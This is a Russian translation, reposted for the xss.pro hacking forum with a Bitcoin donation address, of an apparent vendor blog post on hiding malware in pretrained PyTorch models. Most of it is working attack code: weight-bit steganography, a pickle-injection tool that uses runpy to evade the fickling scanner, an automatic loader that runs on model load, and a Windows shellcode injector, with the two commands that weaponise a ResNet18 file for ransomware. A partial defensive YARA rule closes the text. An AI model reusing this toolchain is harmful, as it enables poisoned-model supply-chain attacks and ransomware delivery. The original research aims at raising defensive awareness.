ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия private нодs ETHEREUM и тестов
Введение
В нашем последнем выпуске блога мы собираемся исследовать кое-что немного другое. Большинство наших статей до сих пор были посвящены описанию враждебного ландшафта машинного обучения, но недавно мы задались вопросом: может ли кто-то внедрить вредоносное ПО, например, ransomware, с помощью модели машинного обучения? Более того, может ли вредоносная полезная нагрузка быть встроена таким образом, чтобы (в настоящее время) не быть обнаруженной решениями безопасности, такими как антивирусные программы и EDR? С ростом популярности таких "зоопарков моделей", как HuggingFace и TensorFlow Hub, которые предлагают множество предварительно обученных моделей для загрузки и использования всеми желающими, мысль о том, что злоумышленник может внедрить вредоносное ПО с помощью таких моделей или перехватить модели до их внедрения в цепочку поставок, является поистине ужасающей перспективой. Проблемы безопасности, связанные с предварительно обученными ML-моделями, постепенно получают признание в отрасли. В прошлом году TrailOfBits опубликовал статью об уязвимостях в широко используемом формате сериализации ML-моделей и выпустил бесплатный инструмент сканирования, способный обнаружить простые попытки его использования. Один из крупнейших публичных репозиториев моделей, HuggingFace, недавно последовал за ним, внедрив сканер безопасности для моделей, предоставляемых пользователями. Тем не менее, комплексные решения по безопасности в настоящее время очень малочисленны. Еще многое предстоит сделать для повышения общей осведомленности и внедрения адекватных контрмер. В духе повышения осведомленности мы продемонстрируем, как легко противник может внедрить вредоносное ПО через предварительно обученную ML-модель. Мы решили использовать в качестве полезной нагрузки популярный образец ransomware, а не традиционный доброкачественный calc.exe, используемый во многих сценариях проверки работоспособности. Причина этого проста: мы надеемся, что демонстрация разрушительного воздействия, которое такая атака может оказать на организацию, вызовет больший резонанс у заинтересованных сторон в сфере безопасности и привлечет дополнительное внимание к проблеме. В рамках этого блога мы сосредоточимся на атаке на предварительно обученную модель ResNet под названием ResNet18. ResNet представляет собой модельную архитектуру для помощи в глубоком остаточном обучении для распознавания изображений. Используемая нами модель была предварительно обучена на ImageNet - наборе данных, содержащем миллионы изображений с тысячей различных классов, таких как линь, золотая рыбка, большая белая акула и т. д. Предварительно обученные значения весов и смещения, которые мы использовали, были сохранены с помощью PyTorch, хотя, как мы продемонстрируем позже, наша атака может работать на большинстве глубоких нейронных сетей, которые были предварительно обучены и сохранены с помощью различных библиотек ML. Без лишних слов давайте рассмотрим, как можно автоматически запустить вымогательское ПО из модели машинного обучения. Для начала нам нужно уметь заложить вредоносную полезную нагрузку в модель таким образом, чтобы она не попала в поле зрения антивирусного сканера.
Что содержится в нейроне?
В мире искусственных нейронных сетей глубокого обучения "нейрон" - это узел в слое сети. Подобно своему биологическому аналогу, искусственный нейрон получает входные данные от других нейронов - или исходные данные модели, для нейронов, расположенных во входном слое - и обрабатывает их определенным образом, чтобы получить выход. Затем выходной сигнал передается другим нейронам через соединения, называемые синапсами. Каждый синапс имеет связанное с ним значение веса, которое определяет важность входа, проходящего через это соединение. Нейрон использует эти значения для вычисления взвешенной суммы всех полученных входов. Кроме того, к взвешенной сумме добавляется постоянное значение смещения. Результат этих вычислений затем передается функции активации нейрона, которая производит конечный выход. В простых математических терминах один нейрон можно описать следующим образом:
В качестве примера, в следующей слишком упрощенной схеме три входа умножаются на три значения, складываются вместе, а затем суммируются со значением смещения. Значения весов и смещения предварительно вычисляются во время обучения и уточняются с помощью техники, называемой обратным распространением. Поэтому нейрон можно рассматривать как набор весов и значений смещения для конкретного узла сети, а также функцию активации узла.
Рисунок 1: Упрощенная схема нейрона
Но как хранится "нейрон"? Для большинства нейронных сетей параметры, т.е. веса и смещения для каждого слоя, существуют в виде многомерного массива чисел с плавающей запятой (обычно называемого тензором), которые при сохранении модели записываются на диск в виде двоичного большого объекта (BLOB). Для моделей PyTorch, таких как наша модель ResNet18, веса и смещения хранятся в Zip-файле, а структура модели хранится в файле data.pkl, который указывает PyTorch, как реконструировать каждый слой или тензор. Распределенные по всем тензорам, веса и смещения в модели ResNet18 (так называемой, потому что в ней 18 конволюционных слоев) составляют примерно 44 МБ, что по современным стандартам считается небольшой моделью. Например, ResNet101, имеющая 101 конволюционный слой, содержит почти 170 МБ весов и смещений, а другие модели языка и компьютерного зрения еще больше.
При просмотре в шестнадцатеричном редакторе веса могут выглядеть так, как показано на скриншоте ниже:
Рисунок 2: Hex дамп весов из layer4.0.conv2.weight нашей предварительно обученной модели ResNet18
Во многих распространенных библиотеках машинного обучения, таких как PyTorch и TensorFlow, веса и смещения представлены с помощью 32-битных значений с плавающей запятой, но некоторые модели могут также легко использовать 16 или 64-битные плавающие значения (а редкие модели даже используют целые числа!).
На этом этапе стоит немного освежить в памяти стандарт IEEE 754 для арифметики с плавающей точкой, который определяет расположение 32-битного значения с плавающей точкой следующим образом:
Рисунок 3: Битовое представление 32-битного значения с плавающей точкой
Значения с плавающей запятой двойной точности (64-битные) имеют несколько дополнительных битов для экспоненты и дроби (мантиссы
Рисунок 4: Битовое представление 64-битного значения с плавающей запятой
Как же мы можем использовать это для внедрения вредоносной полезной нагрузки?
Хищная мантисса
В этом блоге мы сосредоточимся на 32-битных плавающих числах, поскольку это наиболее распространенный тип данных для весов и смещений в большинстве ML-моделей. Если мы вернемся к шестнадцатеричному дампу весов из нашей предварительно обученной модели ResNet18 (рисунок 1), мы заметим кое-что интересное: последние 8 бит значений с плавающей запятой, включающие бит знака и большую часть экспоненты, обычно равны 0xBC, 0xBD, 0x3C или 0x3D (обратите внимание, мы работаем в little-endian). Как эти значения могут быть использованы для хранения полезной нагрузки?
В качестве примера возьмем 0xBC:
0xBC = 10111100b
Здесь бит знака установлен (поэтому значение отрицательное), и еще 4 бита установлены в экспоненте. При преобразовании в 32-битное плавающее число мы получаем значение:
-0.0078125
Но что произойдет, если мы установим все оставшиеся биты в мантиссе (т.е. 0xffff7fbc)? Тогда мы получим значение:
-0.015624999068677425
Разница в 0,0078, что кажется довольно большим в данном контексте (и довольно заметно неправильным по сравнению с исходным значением). Однако, что произойдет, если мы будем ориентироваться на еще меньшее количество битов, скажем, только на последние 8? Взяв значение 0xff0000bc, мы получим значение:
-0.007812737487256527
Это дает разницу в 0,000000237, что для человеческого глаза кажется совершенно незаметным. Но как насчет алгоритма машинного обучения? Можем ли мы взять произвольные данные, разбить их на n битов, затем переписать наименее значимые биты мантиссы для заданного веса, и чтобы модель работала как прежде? Оказывается, можно! Подобный подход, сродни стеганографии, используемой для встраивания секретных сообщений или вредоносной полезной нагрузки в изображения, работает и с моделями машинного обучения, часто с очень незначительной потерей общей эффективности (если это важно для злоумышленника), как показано в статье EvilModel: Скрытие вредоносного ПО внутри нейросетевых моделей.
Тензорная стеганография
Прежде чем пытаться внедрить данные в младшие биты плавающих значений тензора, необходимо определить, достаточно ли в данном слое битов для хранения полезной нагрузки, ее размера и хэша SHA256 (чтобы впоследствии можно было проверить, правильно ли она декодирована). Рассматривая слои в модели ResNet18, содержащие более 1000 плавающих значений, мы наблюдаем следующие слои:
| Layer Name | Count of Floats | Size in Bytes |
| fc.bias | 1000 | 4.0 kB |
| layer2.0.downsample.0.weight | 8192 | 32.8 kB |
| conv1.weight | 9408 | 37.6 kB |
| layer3.0.downsample.0.weight | 32768 | 131.1 kB |
| layer1.0.conv1.weight | 36864 | 147.5 kB |
| layer1.0.conv2.weight | 36864 | 147.5 kB |
| layer1.1.conv1.weight | 36864 | 147.5 kB |
| layer1.1.conv2.weight | 36864 | 147.5 kB |
| layer2.0.conv1.weight | 73728 | 294.9 kB |
| layer4.0.downsample.0.weight | 131072 | 524.3 kB |
| layer2.0.conv2.weight | 147456 | 589.8 kB |
| layer2.1.conv1.weight | 147456 | 589.8 kB |
| layer2.1.conv2.weight | 147456 | 589.8 kB |
| layer3.0.conv1.weight | 294912 | 1.2 MB |
| fc.weight | 512000 | 2.0 MB |
| layer3.0.conv2.weight | 589824 | 2.4 MB |
| layer3.1.conv1.weight | 589824 | 2.4 MB |
| layer3.1.conv2.weight | 589824 | 2.4 MB |
| layer4.0.conv1.weight | 1179648 | 4.7 MB |
| layer4.0.conv2.weight | 2359296 | 9.4 MB |
| layer4.1.conv1.weight | 2359296 | 9.4 MB |
| layer4.1.conv2.weight | 2359296 | 9.4 MB |
| 1-bit | 2-bits | 3-bits | 4-bits | 5-bits | 6-bits | 7-bits | 8-bits |
| 294.9 kB | 589.8 kB | 884.7 kB | 1.2 MB | 1.5 MB | 1.8 MB | 2.1 MB | 2.4 MB |
Это выглядит очень многообещающе и показывает, что мы можем легко внедрить вредоносную полезную нагрузку размером менее 2,4 МБ, изменив только 8 или менее бит в каждом числе с плавающей запятой в одном слое. Это должно оказать незначительное влияние на значение каждого числа с плавающей запятой в тензоре. Поскольку ResNet18 является довольно маленькой моделью, многие другие нейронные сети имеют еще больше места для встраивания полезной нагрузки, а некоторые могут вместить более 9 МБ данных полезной нагрузки всего в 3 битах в одном слое! Следующий пример кода встраивает произвольную полезную нагрузку в первый доступный тензор PyTorch с достаточным количеством свободных битов с помощью стеганографии:
Код:
import os
import sys
import argparse
import struct
import hashlib
from pathlib import Path
import torch
import numpy as np
def pytorch_steganography(model_path: Path, payload: Path, n=3):
assert 1 <= n <= 8
# Load model
model = torch.load(model_path, map_location=torch.device("cpu"))
# Read the payload
size = os.path.getsize(payload)
with open(payload, "rb") as payload_file:
message = payload_file.read()
# Payload data layout: size + sha256 + data
payload = struct.pack("i", size) + bytes(hashlib.sha256(message).hexdigest(), "utf-8") + message
# Get payload as bit stream
bits = np.unpackbits(np.frombuffer(payload, dtype=np.uint8))
if len(bits) % n != 0:
# Pad bit stream to multiple of bit count
bits = np.append(bits, np.full(shape=n-(len(bits) % n), fill_value=0, dtype=bits.dtype))
bits_iter = iter(bits)
for item in model:
tensor = model[item].data.numpy()
# Ensure the data will fit
if np.prod(tensor.shape) * n < len(bits):
continue
print(f"Hiding message in layer {item}...")
# Bit embedding mask
mask = 0xff
for i in range(0, tensor.itemsize):
mask = (mask << 8) | 0xff
mask = mask - (1 << n) + 1
# Create a read/write iterator for the tensor
with np.nditer(tensor.view(np.uint32) , op_flags=["readwrite"]) as tensor_iterator:
# Iterate over float values in tensor
for f in tensor_iterator:
# Get next bits to embed from the payload
lsb_value = 0
for i in range(0, n):
try:
lsb_value = (lsb_value << 1) + next(bits_iter)
except StopIteration:
assert i == 0
# Save the model back to disk
torch.save(model, f=model_path)
return True
# Embed the payload bits into the float
f = np.bitwise_and(f, mask)
f = np.bitwise_or(f, lsb_value)
# Update the float value in the tensor
tensor_iterator[0] = f
return False
parser = argparse.ArgumentParser(description="PyTorch Steganography")
parser.add_argument("model", type=Path)
parser.add_argument("payload", type=Path)
parser.add_argument("--bits", type=int, choices=range(1, 9), default=3)
args = parser.parse_args()
if pytorch_steganography(args.model, args.payload, n=args.bits):
print("Embedded payload in model successfully")
Листинг 1: torch_steganography.py
Стоит отметить, что полезная нагрузка не обязательно должна быть записана вперед, как в приведенном выше примере, она может быть сохранена наоборот или разделена на несколько тензоров, но мы решили реализовать это таким образом, чтобы сделать демонстрационный код более читабельным. Недобросовестный злоумышленник может решить использовать более запутанный подход, что может серьезно затруднить анализ и обнаружение стеганографии. В качестве примечания, во время реализации кода стеганографии мы задались вопросом: можно ли просто обнулить некоторые из наименее значимых битов мантиссы, эффективно предлагая метод быстрого и грязного сжатия? Оказалось, что можно, и опять же, с небольшой потерей эффективности целевой модели (в зависимости от количества обнуленных битов). Хотя это и не очень красиво, этот нехитрый метод сжатия может быть жизнеспособным, когда компромисс между размером модели и потерей точности оправдан, и когда квантование по каким-либо причинам невозможно. Двигаясь дальше, теперь, когда мы можем внедрить произвольную полезную нагрузку в тензор, нам нужно выяснить, как восстановить его и загрузить автоматически. Для следующего шага было бы полезно иметь средства выполнения произвольного кода при загрузке модели.
Эксплуатация сериализации
Прежде чем обученная ML-модель будет распространена или запущена в производство, ее необходимо "сериализовать", то есть перевести в формат потока байтов, который можно использовать для хранения, передачи и загрузки. Сериализация данных - это общая процедура, которая может применяться ко всем видам структур данных и объектов. Популярные общие форматы сериализации включают такие основные форматы, как CSV, JSON, XML и Google Protobuf. Хотя некоторые из них можно использовать для хранения ML-моделей, несколько специализированных форматов также были разработаны специально для машинного обучения.
Обзор форматов сериализации ML-моделей
Большинство библиотек ML имеют свои собственные предпочтительные методы сериализации. Встроенный модуль Python под названием pickle является одним из самых популярных вариантов для фреймворков на базе Python - поэтому процесс сериализации моделей часто называют "pickling". Формат сериализации по умолчанию в PyTorch, TorchScript, по сути, представляет собой ZIP-архив, содержащий файлы pickle и тензорные BLOB-файлы. Фреймворк scikit-learn также поддерживает pickle, но рекомендует другой формат, joblib, для использования с большими массивами данных. Tensorflow имеет собственные форматы SavedModel и TFLite, основанные на протобуфах, а Keras использует формат HDF5; фреймворки H2O на базе Java сериализуют модели в форматы POJO или MOJO. Существуют также независимые от фреймворка форматы, такие как ONNX (Open Neural Network eXchange) и XML PMML, которые стремятся быть независимыми от фреймворка. Исследователю данных есть из чего выбирать. В следующей таблице описаны распространенные методы сериализации моделей, фреймворки, которые их используют, и то, есть ли в них средства выполнения произвольного кода при загрузке:
| Format | Type | Framework | Description | Code execution? |
| JSON | Text | Interoperable | Widely used data interchange format | No |
| PMML | XML | Interoperable | Predictive Model Markup Language, one of the oldest standards for storing data related to machine learning models; based on XML | No |
| pickle | Binary | PyTorch, scikit-learn, Pandas | Built-in Python module for Python objects serialization; can be used in any Python-based framework | Yes |
| dill | Binary | PyTorch, scikit-learn | Python module that extends pickle with additional functionalities | Yes |
| joblib | Binary | PyTorch, scikit-learn | Python module, alternative to pickle; optimized to use with objects that carry large numpy arrays | Yes |
| MsgPack | Binary | Flax | Conceptually similar to JSON, but ‘fast and small’, instead utilizing binary serialization | No |
| Arrow | Binary | Spark | Language independent data format which supports efficient streaming of data and zero copy reads | No |
| Numpy | Binary | Python-based frameworks | Widely used Python library for working with data | Yes |
| TorchScript | Binary | PyTorch | PyTorch implementation of pickle | |
| H5 / HDF5 | Binary | Keras | Hierarchical Data Format, supports large amount of data | Yes |
| SavedModel | Binary | TensorFlow | TensorFlow-specific implementation based on protobuf | No |
| TFLite/FlatBuffers | Binary | TensorFlow | TensorFlow-specific for low resource deployment | No |
| ONNX | Binary | Interoperable | Open Neural Network Exchange format based on protobuf | Yes |
| SafeTensors | Binary | Python-based frameworks | A new data format from Huggingface designed for the safe and efficient storage of tensors | No |
| POJO | Binary | H2O | Plain Old JAVA Object | Yes |
| MOJO | Binary | H2O | Model ObJect, Optimized | Yes |
Противнику есть из чего выбирать! В этом блоге мы сосредоточимся на фреймворке PyTorch и использовании в нем формата pickle, поскольку он очень популярен и в то же время по своей сути небезопасен.
Внутренние компоненты Pickle
Pickle - это встроенный модуль Python, который реализует механизмы сериализации и де-сериализации для структур и объектов Python. Объекты сериализуются (или pickled) в двоичную форму, напоминающую скомпилированную программу, и загружаются (или де-сериализуются / распаковываются) простой виртуальной машиной на основе стека. Виртуальная машина pickle имеет около 70 опкодов, большинство из которых связаны с манипуляцией значениями на стеке. Однако, чтобы иметь возможность хранить классы, pickle также реализует опкоды, которые могут загрузить произвольный модуль Python и выполнить методы. Эти инструкции предназначены для вызова методов __reduce__ и __reduce_ex__ класса Python, которые вернут всю информацию, необходимую для выполнения реконструкции класса. Однако, не имея никаких ограничений или проверок безопасности, эти опкоды могут быть легко (неправильно) использованы для выполнения любой произвольной функции Python с любыми параметрами. Это делает формат pickle по своей сути небезопасным, о чем свидетельствует большое красное предупреждение в документации Python для pickle.
Рисунок 5: Предупреждение на странице документации Python
Инъекция кода Pickle PoC
Чтобы использовать основной файл pickle в существующей предварительно обученной модели PyTorch, мы разработали следующий пример кода. Он внедряет в файл data.pkl модели инструкцию по выполнению произвольного кода, используя либо os.system, exec, eval, либо менее известный метод runpy._run_code:
Код:
import os
import argparse
import pickle
import struct
import shutil
from pathlib import Path
import torch
class PickleInject():
"""Pickle injection. Pretends to be a "module" to work with torch."""
def __init__(self, inj_objs, first=True):
self.__name__ = "pickle_inject"
self.inj_objs = inj_objs
self.first = first
class _Pickler(pickle._Pickler):
"""Reimplementation of Pickler with support for injection"""
def __init__(self, file, protocol, inj_objs, first=True):
super().__init__(file, protocol)
self.inj_objs = inj_objs
self.first = first
def dump(self, obj):
"""Pickle data, inject object before or after"""
if self.proto >= 2:
self.write(pickle.PROTO + struct.pack("<B", self.proto))
if self.proto >= 4:
self.framer.start_framing()
# Inject the object(s) before the user-supplied data?
if self.first:
# Pickle injected objects
for inj_obj in self.inj_objs:
self.save(inj_obj)
# Pickle user-supplied data
self.save(obj)
# Inject the object(s) after the user-supplied data?
if not self.first:
# Pickle injected objects
for inj_obj in self.inj_objs:
self.save(inj_obj)
self.write(pickle.STOP)
self.framer.end_framing()
def Pickler(self, file, protocol):
# Initialise the pickler interface with the injected object
return self._Pickler(file, protocol, self.inj_objs)
class _PickleInject():
"""Base class for pickling injected commands"""
def __init__(self, args, command=None):
self.command = command
self.args = args
def __reduce__(self):
return self.command, (self.args,)
class System(_PickleInject):
"""Create os.system command"""
def __init__(self, args):
super().__init__(args, command=os.system)
class Exec(_PickleInject):
"""Create exec command"""
def __init__(self, args):
super().__init__(args, command=exec)
class Eval(_PickleInject):
"""Create eval command"""
def __init__(self, args):
super().__init__(args, command=eval)
class RunPy(_PickleInject):
"""Create runpy command"""
def __init__(self, args):
import runpy
super().__init__(args, command=runpy._run_code)
def __reduce__(self):
return self.command, (self.args,{})
parser = argparse.ArgumentParser(description="PyTorch Pickle Inject")
parser.add_argument("model", type=Path)
parser.add_argument("command", choices=["system", "exec", "eval", "runpy"])
parser.add_argument("args")
parser.add_argument("-v", "--verbose", help="verbose logging", action="count")
args = parser.parse_args()
command_args = args.args
# If the command arg is a path, read the file contents
if os.path.isfile(command_args):
with open(command_args, "r") as in_file:
command_args = in_file.read()
# Construct payload
if args.command == "system":
payload = PickleInject.System(command_args)
elif args.command == "exec":
payload = PickleInject.Exec(command_args)
elif args.command == "eval":
payload = PickleInject.Eval(command_args)
elif args.command == "runpy":
payload = PickleInject.RunPy(command_args)
# Backup the model
backup_path = "{}.bak".format(args.model)
shutil.copyfile(args.model, backup_path)
# Save the model with the injected payload
torch.save(torch.load(args.model), f=args.model, pickle_module=PickleInject([payload]))
Листинг 2: torch_picke_inject.py
Вызов приведенного выше сценария с командой exec injection вместе с аргументом print('hello') приведет к созданию модели PyTorch, которая при загрузке выполнит оператор print через метод класса __reduce__:
)[СODE]
> python torch_picke_inject.py resnet18-f37072fd.pth exec print('hello')
> python
>>> import torch
>>> torch.load("resnet18-f37072fd.pth")
hello
OrderedDict([('conv1.weight', Parameter containing:
[/CODE]
Однако у нас есть небольшая проблема. Существует очень похожий (и, возможно, гораздо лучший) инструмент для инъекций в файлы pickle - GitHub - trailofbits/fickling: Python pickling decompiler and static analyzer - который также обеспечивает обнаружение вредоносных pickle.
Сканирование доброкачественного pickle-файла с помощью fickling дает следующий результат:
[СODE]
> fickling --check-safety safe.pkl
Warning: Fickling failed to detect any overtly unsafe code, but the pickle file may still be unsafe.
Do not unpickle this file if it is from an untrusted source!
[/СODE]
[СODE] fickling --check-safety data.pkl[/СODE]
...
Вызов `_rebuild_tensor_v2(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `_rebuild_parameter(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `_var329.update(...)` может выполнить произвольный код и по своей сути небезопасен
Python
Однако это вполне нормально, поскольку PyTorch использует вышеуказанные функции для восстановления тензоров при загрузке модели.
Но если мы затем проверим файл data.pkl, содержащий инжектированную команду exec, выполненную torch_picke_inject.py, то получим дополнительное предупреждение:
[СODE]
> fickling --check-safety data.pkl
[/СODE]
Вызов `_rebuild_tensor_v2(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `_rebuild_parameter(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `_var329.update(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `exec(...)` почти наверняка свидетельствует о наличии вредоносного файла pickle
Python
Fickling также обнаруживает внедренные команды system и eval, что не совсем соответствует нашей задаче создать атаку, которая "в настоящее время не обнаружена". Эта проблема заставила нас поискать в стандартных библиотеках Python еще один способ выполнения кода. После счастливого открытия runpy - Поиск и выполнение модулей Python, мы снова в деле! Теперь мы можем внедрить код в pickle, используя:
[СODE]
> python torch_picke_inject.py resnet18-f37072fd.pth runpy print('hello')
[/СODE]
Python
Подход runpy._run_code в настоящее время не обнаружен fickling (хотя мы сообщили о проблеме до публикации блога). После окончательного сканирования мы можем убедиться, что видим только обычные предупреждения для доброкачественного набора данных PyTorch:
[СODE]
> fickling --check-safety data.pkl
[/СODE]
...
Вызов `_rebuild_tensor_v2(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `_rebuild_parameter(...)` может выполнить произвольный код и по своей сути небезопасен
Вызов `_var329.update(...)` может выполнить произвольный код и по своей сути небезопасен
Python
Наконец, стоит упомянуть, что компания HuggingFace также реализовала сканирование на наличие вредоносных pickle-файлов в моделях, загруженных пользователями, и недавно опубликовала отличный блог о Pickle Scanning, который стоит прочесть.
Перспектива злоумышленникe
На данный момент мы можем внедрить полезную нагрузку в веса и смещения тензора, а также знаем, как выполнить произвольный код при загрузке модели PyTorch. Давайте посмотрим, как мы можем использовать эти знания для развертывания вредоносной программы на нашей тестовой машине.
Чтобы сделать атаку невидимой для большинства обычных решений безопасности, мы решили, что наша конечная полезная нагрузка будет загружаться в память рефлексивно, вместо того чтобы записывать ее на диск и загружать, где она может быть легко обнаружена. Мы завернули двоичный файл полезной нагрузки в отражающий шеллкод PE-загрузчика и внедрили его в простой сценарий Python, выполняющий инъекцию в память (payload.py). Этот сценарий довольно прост: он использует API Windows для выделения виртуальной памяти внутри процесса python.exe, запускающего PyTorch, копирует полезную нагрузку в выделенную память и, наконец, выполняет ее в новом потоке. Все это значительно упрощается благодаря модулю Python ctypes, который позволяет вызывать произвольные экспорты DLL, такие как функции kernel32.dll, необходимые для атаки:
[СODE]
import os, sys, time
import binascii
from ctypes import *
import ctypes.wintypes as wintypes
shellcode_hex = "DEADBEEF" // Place your shellcode-wrapped payload binary here!
shellcode = binascii.unhexlify(shellcode_hex)
pid = os.getpid()
handle = windll.kernel32.OpenProcess(0x1F0FFF, False, pid)
if not handle:
print("Can't get process handle.")
sys.exit(0)
shellcode_len = len(shellcode)
windll.kernel32.VirtualAllocEx.restype = wintypes.LPVOID
mem = windll.kernel32.VirtualAllocEx(handle, 0, shellcode_len, 0x1000, 0x40)
if not mem:
print("VirtualAlloc failed.")
sys.exit(0)
windll.kernel32.WriteProcessMemory.argtypes = [c_int, wintypes.LPVOID, wintypes.LPVOID, c_int, c_int]
windll.kernel32.WriteProcessMemory(handle, mem, shellcode, shellcode_len, 0)
windll.kernel32.CreateRemoteThread.argtypes = [c_int, c_int, c_int, wintypes.LPVOID, c_int, c_int, c_int]
tid = windll.kernel32.CreateRemoteThread(handle, 0, 0, mem, 0, 0, 0)
if not tid:
print("Failed to create remote thread.")
sys.exit(0)
windll.kernel32.WaitForSingleObject(tid, -1)
time.sleep(10)
[/СODE]
Листинг 3: payload.py
Поскольку существует множество реализаций DLL-инъекций с открытым исходным кодом, мы оставим эту часть упражнения на усмотрение читателя. Достаточно сказать, что выбор полезной нагрузки конечной стадии довольно безграничен и вполне может быть направлен на другие операционные системы, такие как Linux или Mac. Единственное ограничение - шеллкод должен быть 64-битным, поскольку некоторые популярные библиотеки ML, такие как PyTorch и TensorFlow, не работают на 32-битных системах.
После того как скрипт payload.py закодирован в тензоры с помощью ранее описанного torch_steganography.py, нам нужен способ восстановить и выполнить его автоматически при каждой загрузке модели. Следующий скрипт (torch_stego_loader.py) выполняется через вредоносный data.pkl, когда модель распаковывается через torch.load, и работает с помощью метода Python sys.settrace для отслеживания выполнения вызовов функции PyTorch _rebuild_tensor_v2 (помните, мы видели, как фиклинг обнаружил эту функцию ранее?). Возвращаемым значением функции _rebuild_tensor_v2 является перестроенный тензор, который перехватывается трассировщиком выполнения. Для каждого перехваченного тензора функция stego_decode попытается восстановить любую встроенную полезную нагрузку и проверить контрольную сумму SHA256. Если контрольная сумма совпадает, полезная нагрузка будет выполнена (а трассировщик выполнения удален):
Код:
import sys
import sys
import torch
def stego_decode(tensor, n=3):
import struct
import hashlib
import numpy
assert 1 <= n <= 9
# Extract n least significant bits from the low byte of each float in the tensor
bits = numpy.unpackbits(tensor.view(dtype=numpy.uint8))
# Reassemble the bit stream to bytes
payload = numpy.packbits(numpy.concatenate([numpy.vstack(tuple([bits[i::tensor.dtype.itemsize * 8] for i in range(8-n, 8)])).ravel("F")])).tobytes()
try:
# Parse the size and SHA256
(size, checksum) = struct.unpack("i 64s", payload[:68])
# Ensure the message size is somewhat sane
if size < 0 or size > (numpy.prod(tensor.shape) * n) / 8:
return None
except struct.error:
return None
# Extract the message
message = payload[68:68+size]
# Ensure the original and decoded message checksums match
if not bytes(hashlib.sha256(message).hexdigest(), "utf-8") == checksum:
return None
return message
def call_and_return_tracer(frame, event, arg):
global return_tracer
global stego_decode
def return_tracer(frame, event, arg):
# Ensure we've got a tensor
if torch.is_tensor(arg):
# Attempt to parse the payload from the tensor
payload = stego_decode(arg.data.numpy(), n=3)
if payload is not None:
# Remove the trace handler
sys.settrace(None)
# Execute the payload
exec(payload.decode("utf-8"))
# Trace return code from _rebuild_tensor_v2
if event == "call" and frame.f_code.co_name == "_rebuild_tensor_v2":
frame.f_trace_lines = False
return return_tracer
sys.settrace(call_and_return_tracer)
Обратите внимание, что в приведенном выше коде, где вызывается функция stego_decode, количество битов, использованных для кодирования полезной нагрузки, должно быть установлено соответствующим образом (например, n=8, если для встраивания полезной нагрузки использовалось 8 бит).
На этом этапе, конечно, необходимо сделать краткий обзор. Теперь у нас есть четыре скрипта, которые можно использовать для выполнения стеганографии, внедрения pickle, реконструкции и загрузки полезной нагрузки:
Описание скрипта
torch_steganography.py Встраивание произвольной полезной нагрузки в веса/смещения модели с использованием n бит.
torch_picke_inject.py Вставка произвольного кода в файл pickle, который выполняется при загрузке.
torch_stego_loader.py Реконструирует и выполняет полезную нагрузку стеганографии. Этот скрипт внедряется в файл data.pkl программы PyTorch и выполняется при загрузке. Не забудьте установить количество битов для stego_decode (n=3)!
payload.py Выполняет полезную нагрузку шеллкода финальной стадии. Этот файл внедряется с помощью стеганографии и выполняется через torch_stego_loader.py после реконструкции.
Используя вышеприведенные скрипты, создание оружия для модели теперь просто:
Код:
> python torch_steganography.py –bits 3 resnet18-f37072fd.pth payload.py
> python torch_picke_inject.py resnet18-f37072fd.pth runpy torch_stego_loader.py
При последующей загрузке модели ResNet через torch.load встроенная полезная нагрузка будет автоматически реконструирована и выполнена.
Мы подготовили короткое видео, чтобы продемонстрировать, как наша взломанная предварительно обученная ResNet-модель незаметно выполнила образец ransomware в тот момент, когда он был загружен в память PyTorch на нашей тестовой машине. Для демонстрации мы выбрали образец вымогательского ПО Quantum x64. Quantum был впервые обнаружен в августе 2021 года и в настоящее время активно распространяется в мире. Он известен тем, что очень быстрый и довольно легкий. Эти характеристики хорошо подходят для демонстрации, но техника внедрения модели будет работать с любым другим семейством ransomware - или вообще с любым вредоносным ПО, таким как бэкдоры, CobaltStrike Beacon или полезные нагрузки Metasploit.
Скртая программа Ransomware, исполняемая с помощью ML-модели
Обнаружение атак на перехват модели
Обнаружение перехвата модели может быть сложной задачей. Мы добились ограниченного успеха, используя такие методы, как энтропия и Z-коэффициенты для обнаружения полезной нагрузки, внедренной с помощью стеганографии, но, как правило, только с низкоэнтропийными скриптами Python. Как только полезная нагрузка зашифрована, энтропия битов низшего порядка тензорных плавающих чисел изменяется очень незначительно по сравнению с нормальной (поскольку она остается высокой), и обнаружение часто не удается. Лучшим подходом является сканирование на предмет выполнения кода через различные форматы файлов моделей. Наряду с fickling и в интересах обеспечения еще одного механизма обнаружения потенциально вредоносных файлов pickle, мы предлагаем следующее правило YARA "MaliciousPickle":
Код:
private rule PythonStdLib{
meta:
author = "Eoin Wickens - Eoin@HiddenLayer.com"
description = "Detects python standard module imports"
date = "16/09/22"
strings:
// Command Libraries - These prefix the command itself and indicate what library to use
$os = "os"
$runpy = "runpy"
$builtins = "builtins"
$ccommands = "ccommands"
$subprocess = "subprocess"
$c_builtin = "c__builtin__\n"
// Commands - The commands that follow the prefix/library statement
// OS Commands
$os_execvp = "execvp"
$os_popen = "popen"
// Subprocess Commands
$sub_call = "call"
$sub_popen = "Popen"
$sub_check_call = "check_call"
$sub_run = "run"
// Builtin Commands
$cmd_eval = "eval"
$cmd_exec = "exec"
$cmd_compile = "compile"
$cmd_open = "open"
// Runpy command, the darling boy
$run_code = "run_code"
condition:
// Ensure command precursor then check for one of its commands within n number of bytes after the first index of the command precursor
($c_builtin or $builtins or $os or $ccommands or $subprocess or $runpy) and
(
any of ($cmd_*) in (@c_builtin..@c_builtin+20) or
any of ($cmd_*) in (@builtins..@builtins+20) or
any of ($os_*) in (@os..@os+10) or
any of ($sub_*) in (@ccommands..@ccommands+20) or
any of ($sub_*) in (@subprocess..@subprocess+20) or
any of ($run_*) in (@runpy..@runpy+20)
)
}
private rule PythonNonStdLib {
meta:
author = "Eoin Wickens - Eoin@HiddenLayer.com"
description = "Detects python libs not in the std lib"
date = "16/09/22"
strings:
$py_import = "import" nocase
$import_requests = "requests" nocase
$non_std_lib_pip = "pip install"
$non_std_lib_posix_system = /posix[^_]{1,4}system/ // posix system with up to 4 arbitrary bytes in between, for posterity
$non_std_lib_nt_system = /nt[^_]{1,4}system/ // nt system with 4 arbitrary bytes in between, for posterity
condition:
any of ($non_std_lib_*) or
($py_import and any of ($import_*) in (@py_import..@py_import+100))
}
private rule PickleFile {
meta:
